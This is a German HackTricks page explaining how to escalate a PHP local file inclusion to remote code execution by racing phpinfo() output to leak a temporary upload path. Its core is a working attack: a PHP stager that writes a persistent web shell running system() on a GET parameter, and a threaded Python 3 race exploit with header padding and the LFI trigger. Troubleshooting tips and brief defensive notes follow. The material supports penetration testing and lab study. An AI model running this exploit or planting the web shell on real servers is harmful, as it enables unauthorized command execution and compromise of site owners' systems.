LFI to RCE via PHPInfo
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Um diese Technik auszunutzen, benötigen Sie alle folgenden Voraussetzungen:
- Eine erreichbare Seite, die die Ausgabe von phpinfo() anzeigt.
- Eine Local File Inclusion (LFI)-Primitive, die Sie kontrollieren (z. B. include/require auf Benutzerinput).
- PHP-Datei-Uploads aktiviert (file_uploads = On). Jedes PHP-Skript akzeptiert RFC1867 multipart-Uploads und erstellt für jeden hochgeladenen Teil eine temporäre Datei.
- Der PHP-Worker muss in das konfigurierte upload_tmp_dir (oder das standardmäßige System-Temp-Verzeichnis) schreiben können, und Ihr LFI muss in der Lage sein, diesen Pfad zu includen.
Klassisches Write-up und Original-PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Hinweise zum Original-PoC
- Die phpinfo()-Ausgabe ist HTML-kodiert, daher erscheint der Pfeil “=>” oft als “=>”. Wenn Sie Legacy-Skripte wiederverwenden, stellen Sie sicher, dass sie beim Parsen des _FILES[tmp_name]-Werts nach beiden Kodierungen suchen.
- Sie müssen das payload (Ihren PHP-Code), REQ1 (die Anfrage an den phpinfo()-Endpoint inklusive Padding) und LFIREQ (die Anfrage an Ihren LFI-Sink) anpassen. Einige Ziele benötigen keinen null-byte (%00) Terminator und moderne PHP-Versionen werden diesen nicht beachten. Passen Sie die LFIREQ entsprechend dem verwundbaren Sink an.
Beispiel sed (nur falls Sie wirklich das alte Python2 PoC verwenden), um den HTML-kodierten Pfeil abzugleichen:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Theorie
- Wenn PHP eine
multipart/form-dataPOST-Anfrage mit einem Datei-Feld erhält, schreibt es den Inhalt in eine temporäre Datei (upload_tmp_diroder der OS-Standard) und stellt den Pfad in$_FILES['<field>']['tmp_name']zur Verfügung. Die Datei wird automatisch am Ende der Anfrage entfernt, es sei denn, sie wird verschoben/umbenannt. - Der Trick besteht darin, den temporären Namen zu erfahren und ihn per LFI einzubinden, bevor PHP die Datei löscht.
phpinfo()gibt$_FILESaus, einschließlichtmp_name. - Indem man Request-Header/Parameter (Padding) aufbläht, kann man bewirken, dass frühe Teile der
phpinfo()-Ausgabe an den Client geflusht werden, bevor die Anfrage abgeschlossen ist, sodass mantmp_namelesen kann, während die Temp-Datei noch existiert, und dann sofort das LFI mit diesem Pfad auslöst.
Unter Windows liegen die Temp-Dateien häufig unter so etwas wie C:\Windows\Temp\php*.tmp. Unter Linux/Unix befinden sie sich üblicherweise in /tmp oder im in upload_tmp_dir konfigurierten Verzeichnis.
Was in phpinfo() vor dem Race überprüft werden muss
Bevor Sie tausende Requests senden, extrahieren Sie die Werte, die entscheiden, ob das Race realistisch ist:
file_uploads: muss aufOnstehen.upload_tmp_dir: wenn gesetzt, ist dies das Verzeichnis, das Ihr LFI einbinden können muss. Ist es leer, erwarten Sie das systemweite Temp-Verzeichnis.open_basedir: wenn aktiviert, muss Ihr verwundbarer Include-Pfad trotzdem Zugriff auf das intmp_namegezeigte Temp-Verzeichnis haben.output_buffering:4096ist eine häufige/Standardgröße und der Grund, warum viele PoCs in 4KB-Chunks lesen, dieser Wert kann jedoch abweichen.zlib.output_compression,output_handlerund jegliches Framework-Level-Buffering: diese verringern die Chance,tmp_namefrüh genug zu sehen.Server API: nützlich, um einzuschätzen, wie viel Buffering zwischen PHP und Ihnen bestehen könnte (apache2handlerist normalerweise leichter einzuschätzen alsfpm-fcgihinter einem Reverse Proxy).
Wenn die Seite $_FILES nicht anzeigt, stellen Sie sicher, dass Sie wirklich eine multipart/form-data-Anfrage mit einem tatsächlichen Datei-Teil senden. PHP füllt tmp_name nur für Upload-Felder aus, die geparst wurden.
Angriffsablauf (Schritt für Schritt)
- Bereiten Sie ein kleines PHP-Payload vor, das schnell eine persistente shell anlegt, um das Race nicht zu verlieren (eine Datei zu schreiben ist generell schneller als auf eine reverse shell zu warten):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Sende einen großen multipart POST direkt an die phpinfo()-Seite, sodass sie eine temporäre Datei erstellt, die dein payload enthält. Blähe verschiedene Header/Cookies/Parameter mit ~5–10KB Padding auf, um frühe Ausgabe zu fördern. Stelle sicher, dass der Formularfeldname mit dem übereinstimmt, was du in $_FILES parsen wirst.
-
Während die phpinfo()-Antwort noch streamt, parse den partiellen Body, um $_FILES[‘
’][‘tmp_name’] (HTML-encodiert) zu extrahieren. Sobald du den vollständigen absoluten Pfad (z. B. /tmp/php3Fz9aB) hast, löse dein LFI aus, um diesen Pfad mit include() einzubinden. Wenn include() die temporäre Datei ausführt, bevor sie gelöscht wird, wird dein payload ausgeführt und legt /tmp/.p.php ab. -
Verwende die abgelegte Datei: GET /vuln.php?include=/tmp/.p.php&x=id (oder wo auch immer dein LFI sie einbinden lässt), um Befehle zuverlässig auszuführen.
Tipps
- Verwende mehrere gleichzeitige Worker, um deine Chancen zu erhöhen, das Rennen zu gewinnen.
- Padding-Platzierungen, die oft helfen: URL-Parameter, Cookie, User-Agent, Accept-Language, Pragma. Auf das Ziel anpassen.
- Wenn das verwundbare Ziel eine Erweiterung anhängt (z. B. .php), brauchst du kein null byte; include() führt PHP unabhängig von der Erweiterung der temporären Datei aus.
Minimal Python 3 PoC (socket-based)
Der folgende Ausschnitt konzentriert sich auf die kritischen Teile und ist leichter anzupassen als das veraltete Python2-Skript. Passe HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (Pfad zum LFI-Sink) und PAYLOAD an.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Fehlerbehebung
- You never see
tmp_name: Stelle sicher, dass du wirklich multipart/form-data per POST an phpinfo() sendest. phpinfo() gibt $_FILES nur dann aus, wenn ein Upload-Feld vorhanden war. tmp_nameappears only at the very end of the response: Das ist normalerweise ein Buffering-Problem, kein PHP-Versionsproblem. Großeoutput_buffering-Werte,zlib.output_compression, userland output handlers oder Reverse-Proxy/FastCGI-Buffering können den phpinfo() Body verzögern, bis die Upload-Anfrage fast abgeschlossen ist.- You only get reliable streaming in a lab, not through the real site: Ein CDN, WAF oder Reverse Proxy kann die Upstream-Antwort puffern. Wenn du mehrere Routen zur selben App hast, nutze den direktesten Origin-Pfad.
- The classic 4096-byte offset logic misses the leak: Behandle 4096 als Ausgangspunkt, abgeleitet von gängigen
output_buffering-Defaults, nicht als universelle Konstante. Parse inkrementell und stoppe, sobaldtmp_namekomplett ist. - The temp file is included but your shell dies immediately: Verwende einen kleinen stager, der eine zweite Datei schreibt, da die hochgeladene Temp-Datei beim Ende der ursprünglichen Anfrage weiterhin gelöscht wird.
- Output doesn’t flush early: Erhöhe Padding, füge mehr große Header hinzu oder sende mehrere gleichzeitige Anfragen. Manche SAPIs/Buffer werden nicht vor größeren Schwellenwerten flushen; passe entsprechend an.
- LFI path blocked by
open_basedirorchroot: Du musst das LFI auf einen erlaubten Pfad zeigen oder auf einen anderen LFI2RCE-Vektor wechseln. - Temp directory not
/tmp: phpinfo() druckt den vollständigen absolutentmp_name-Pfad; verwende genau diesen Pfad im LFI.
Praktische Hinweise für moderne Stacks
- Diese Technik ist in modernen Laborumgebungen weiterhin reproduzierbar; zum Beispiel hält Vulhub einen Demonstrator auf PHP 7.2 bereit. In der Praxis hängt der Erfolg eher von Output-Buffering und Proxying ab als von einem phpinfo-spezifischen Patch-Level.
flush()undimplicit_flushbeeinflussen nur PHPs eigene Output-Ebene. Sie garantieren nicht, dass ein FastCGI-Gateway, Reverse Proxy, Browser oder Zwischenstück sofort partielle Chunks freigibt.- Wenn das Ziel
fpm-fcgihinter Nginx/Apache-Proxying ist, denke in Schichten: PHP-Buffer, PHP-Output-Handler/Compression, FastCGI-Buffering, dann Proxy-Buffering. Das Race funktioniert nur, wenn genug vom phpinfo() Response dieser Kette entkommt, bevor der Request-Shutdown die Temp-Datei löscht.
Abwehrhinweise
- phpinfo() niemals in Produktion exponieren. Falls nötig, nach IP/Auth einschränken und nach Gebrauch entfernen.
- Deaktiviere file_uploads, wenn nicht benötigt. Andernfalls restringiere upload_tmp_dir auf einen Pfad, der von include()/require nicht erreichbar ist, und erzwinge strikte Validierung bei allen include/require-Pfaden.
- Behandle jedes LFI als kritisch; selbst ohne phpinfo() existieren andere LFI→RCE-Pfade.
Verwandte HackTricks-Techniken
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Referenzen
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


